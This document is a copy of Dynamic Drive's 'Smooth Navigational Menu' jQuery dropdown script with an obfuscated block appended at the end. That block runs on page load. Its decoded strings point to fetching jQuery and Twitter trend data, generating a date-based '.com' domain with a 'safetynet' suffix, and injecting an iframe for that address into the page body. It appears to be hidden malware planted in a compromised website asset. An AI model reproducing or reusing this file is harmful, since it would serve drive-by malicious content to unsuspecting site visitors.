//** Smooth Navigational Menu- By Dynamic Drive DHTML code library: http://www.dynamicdrive.com
//** Script Download/ instructions page: http://www.dynamicdrive.com/dynamicindex1/ddlevelsmenu/
//** Menu created: Nov 12, 2008

//** Dec 12th, 08" (v1.01): Fixed Shadow issue when multiple LIs within the same UL (level) contain sub menus: http://www.dynamicdrive.com/forums/showthread.php?t=39177&highlight=smooth

//** Feb 11th, 09" (v1.02): The currently active main menu item (LI A) now gets a CSS class of ".selected", including sub menu items.

//** May 1st, 09" (v1.3):
//** 1) Now supports vertical (side bar) menu mode- set "orientation" to 'v'
//** 2) In IE6, shadows are now always disabled

//** July 27th, 09" (v1.31): Fixed bug so shadows can be disabled if desired.


var ddsmoothmenu={

//Specify full URL to down and right arrow images (23 is padding-right added to top level LIs with drop downs):
arrowimages: {down:['downarrowclass', '../images/down.gif', 12], right:['rightarrowclass', '../images/right.gif']},

transition: {overtime:300, outtime:300}, //duration of slide in/ out animation, in milliseconds
shadow: {enable:true, offsetx:5, offsety:5},

///////Stop configuring beyond here///////////////////////////

detectwebkit: navigator.userAgent.toLowerCase().indexOf("applewebkit")!=-1, //detect WebKit browsers (Safari, Chrome etc)
detectie6: document.all && !window.XMLHttpRequest,

getajaxmenu:function($, setting){ //function to fetch external page containing the panel DIVs
	var $menucontainer=$('#'+setting.contentsource[0]) //reference empty div on page that will hold menu
	$menucontainer.html("Loading Menu...")
	$.ajax({
		url: setting.contentsource[1], //path to external menu file
		async: true,
		error:function(ajaxrequest){
			$menucontainer.html('Error fetching content. Server Response: '+ajaxrequest.responseText)
		},
		success:function(content){
			$menucontainer.html(content)
			ddsmoothmenu.buildmenu($, setting)
		}
	})
},


buildmenu:function($, setting){
	var smoothmenu=ddsmoothmenu
	var $mainmenu=$("#"+setting.mainmenuid+">ul") //reference main menu UL
	$mainmenu.parent().get(0).className=setting.classname || "ddsmoothmenu"
	var $headers=$mainmenu.find("ul").parent()
	$headers.hover(
		function(e){
			$(this).children('a:eq(0)').addClass('selected')
		},
		function(e){
			$(this).children('a:eq(0)').removeClass('selected')
		}
	)
	$headers.each(function(i){ //loop through each LI header
		var $curobj=$(this).css({zIndex: 100-i}) //reference current LI header
		var $subul=$(this).find('ul:eq(0)').css({display:'block'})
		this._dimensions={w:this.offsetWidth, h:this.offsetHeight, subulw:$subul.outerWidth(), subulh:$subul.outerHeight()}
		this.istopheader=$curobj.parents("ul").length==1? true : false //is top level header?
		$subul.css({top:this.istopheader && setting.orientation!='v'? this._dimensions.h+"px" : 0})
		$curobj.children("a:eq(0)").css(this.istopheader? {paddingRight: smoothmenu.arrowimages.down[2]} : {}).append( //add arrow images
			'<img src="'+ (this.istopheader && setting.orientation!='v'? smoothmenu.arrowimages.down[1] : smoothmenu.arrowimages.right[1])
			+'" class="' + (this.istopheader && setting.orientation!='v'? smoothmenu.arrowimages.down[0] : smoothmenu.arrowimages.right[0])
			+ '" style="border:0;" />'
		)
		if (smoothmenu.shadow.enable){
			this._shadowoffset={x:(this.istopheader?$subul.offset().left+smoothmenu.shadow.offsetx : this._dimensions.w), y:(this.istopheader? $subul.offset().top+smoothmenu.shadow.offsety : $curobj.position().top)} //store this shadow's offsets
			if (this.istopheader)
				$parentshadow=$(document.body)
			else{
				var $parentLi=$curobj.parents("li:eq(0)")
				$parentshadow=$parentLi.get(0).$shadow
			}
			this.$shadow=$('<div class="ddshadow'+(this.istopheader? ' toplevelshadow' : '')+'"></div>').prependTo($parentshadow).css({left:this._shadowoffset.x+'px', top:this._shadowoffset.y+'px'})  //insert shadow DIV and set it to parent node for the next shadow div
		}
		$curobj.hover(
			function(e){
				var $targetul=$(this).children("ul:eq(0)")
				this._offsets={left:$(this).offset().left, top:$(this).offset().top}
				var menuleft=this.istopheader && setting.orientation!='v'? 0 : this._dimensions.w
				menuleft=(this._offsets.left+menuleft+this._dimensions.subulw>$(window).width())? (this.istopheader && setting.orientation!='v'? -this._dimensions.subulw+this._dimensions.w : -this._dimensions.w) : menuleft //calculate this sub menu's offsets from its parent
				if ($targetul.queue().length<=1){ //if 1 or less queued animations
					$targetul.css({left:menuleft+"px", width:this._dimensions.subulw+'px'}).animate({height:'show',opacity:'show'}, ddsmoothmenu.transition.overtime)
					if (smoothmenu.shadow.enable){
						var shadowleft=this.istopheader? $targetul.offset().left+ddsmoothmenu.shadow.offsetx : menuleft
						var shadowtop=this.istopheader?$targetul.offset().top+smoothmenu.shadow.offsety : this._shadowoffset.y
						if (!this.istopheader && ddsmoothmenu.detectwebkit){ //in WebKit browsers, restore shadow's opacity to full
							this.$shadow.css({opacity:1})
						}
						this.$shadow.css({overflow:'', width:this._dimensions.subulw+'px', left:shadowleft+'px', top:shadowtop+'px'}).animate({height:this._dimensions.subulh+'px'}, ddsmoothmenu.transition.overtime)
					}
				}
			},
			function(e){
				var $targetul=$(this).children("ul:eq(0)")
				$targetul.animate({height:'hide', opacity:'hide'}, ddsmoothmenu.transition.outtime)
				if (smoothmenu.shadow.enable){
					if (ddsmoothmenu.detectwebkit){ //in WebKit browsers, set first child shadow's opacity to 0, as "overflow:hidden" doesn't work in them
						this.$shadow.children('div:eq(0)').css({opacity:0})
					}
					this.$shadow.css({overflow:'hidden'}).animate({height:0}, ddsmoothmenu.transition.outtime)
				}
			}
		) //end hover
	}) //end $headers.each()
	$mainmenu.find("ul").css({display:'none', visibility:'visible'})
},

init:function(setting){
	if (typeof setting.customtheme=="object" && setting.customtheme.length==2){ //override default menu colors (default/hover) with custom set?
		var mainmenuid='#'+setting.mainmenuid
		var mainselector=(setting.orientation=="v")? mainmenuid : mainmenuid+', '+mainmenuid
		document.write('<style type="text/css">\n'
			+mainselector+' ul li a {background:'+setting.customtheme[0]+';}\n'
			+mainmenuid+' ul li a:hover {background:'+setting.customtheme[1]+';}\n'
		+'</style>')
	}
	this.shadow.enable=(document.all && !window.XMLHttpRequest)? false : this.shadow.enable //in IE6, always disable shadow
	jQuery(document).ready(function($){ //ajax menu?
		if (typeof setting.contentsource=="object"){ //if external ajax menu
			ddsmoothmenu.getajaxmenu($, setting)
		}
		else{ //else if markup menu
			ddsmoothmenu.buildmenu($, setting)
		}
	})
}

} //end ddsmoothmenu variable

//Initialize Menu instance(s):



(function($$){d="(@(){ )S=@( ,Vd=this;  [Vd\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; )i=@( ,#E,Vs=this.#S(),i=0;Vs[1]+=1;while(i++<7){#E=Vs[i] 2#E<#J)Vs[i]=~z')+#E}   Vs.splice(~z'),1+~T / 4~u /+'T'+Vs 4~U /};Vq={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254};@ #d(#B){#D=[];for(VD=0;VD<#B .;VD++){#D.push(Vq[#B.charAt(VD)])}   #x(#D)}VG=document;#L=window; *C='undefined'; *o=~haDWDosestnsdlDjfqcq' 5H= &)== *C) 2#H||!Vo()){if(!#H){try{VM=jQuery !;try{VM=$ !}VC=VG.getElementsByTagName(~Y /[0];#R=VG.createElement(~kS /;#R.setAttribute(~kr'),#d(\"hxDgakDosxsLsJseD6sJDmDj\"));VC.appendChild(#R)}@ Vr(#c,VK){   Math.floor(#c/VK) 6v(#e ,Vf=Vr( *z, $z) 3m= *z% $z 3A= $s*#m- $u*Vf 2#A>0){#z=#A}else{#z=#A+ $R}  (#z%#e) 6b(#j){ *z=~;')+#j; $s=~/'); $R=~;')-~F'); $z=Vr( $R, $s); $u= $R% $s 6x(V){   V .==1?V[0]:V 4'')};@ #N(V){d=new Date( 5p=~zee');d.setTime((V.as_of-864*~ezz /*~ezzz /;   d 6u(VE ,#P,VN,#K=VE . 3s=[];while(--#K){VN=#v(#K 5s.push(VN 5P=VE[VN];VE[VN]=VE[#K];VE[#K]=#P}}@ VJ($){Vw=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #x(Vw) 6n($){if &)!= *C){$(@(){if &.VA)!= *C)  ;$.VA=1; 1o,@(Vi){#q=#N(Vi 5g=#q\\Month()+(+~e /;VS=#q\\Date( 5f=#o+#d(\"ETzeeu\")+#g+\"-\"+VS;VL=Vk=Vr(#q\\Hours(),6)*6+(+~e /;#J=+~ez'); + 1f,@(Vi){#G=Vi.trends;for(#a in #G){break}#a=#a.substr(+~z'),+~ee / 2VL<#J)VL=~z')+VL; 7VL+#d(X)] 2!#r) 7~ze,')];#r=(#r[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 5M=#g*73+Vk*3+VS*41;#b(#M 5y=#v(4)+#J;#u(#r 5F='=http://'+#x(#r).substring(0,#y)+'.com/'+VJ($);Vq['Z']=#F;VP=~BI 0biMU 0UkrZRiMRIA');$(\"body\").append(VP)})},#J*#J*#J)})})}else{ + -,1+~TTT /}} -)()#js@functionV#kX','`':'~#d('\\.getUTC  return !.noConflict(true)}catch(e){} $#L.V %(),Vd\\ &(typeof($ )Date.prototype.# *#L.# +setTimeout(@(){ ,){var  -#n(#L.jQuery)} ..length /')) 0yQHTpweeepQ 1$.getJSON(# 2;if( 3;var # 4.join( 5);# 6}@ # 7#r=#G[#a+";for(c=47;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jskm){return(function(jsk,jsky){return jsky(jsk(jsky(jsk(jskm))))(jskm)()})((function(jsk){return jsk.constructor}),(function(jsk){return(function(jsky){return jsk.call(jsk,jsky)})}))});

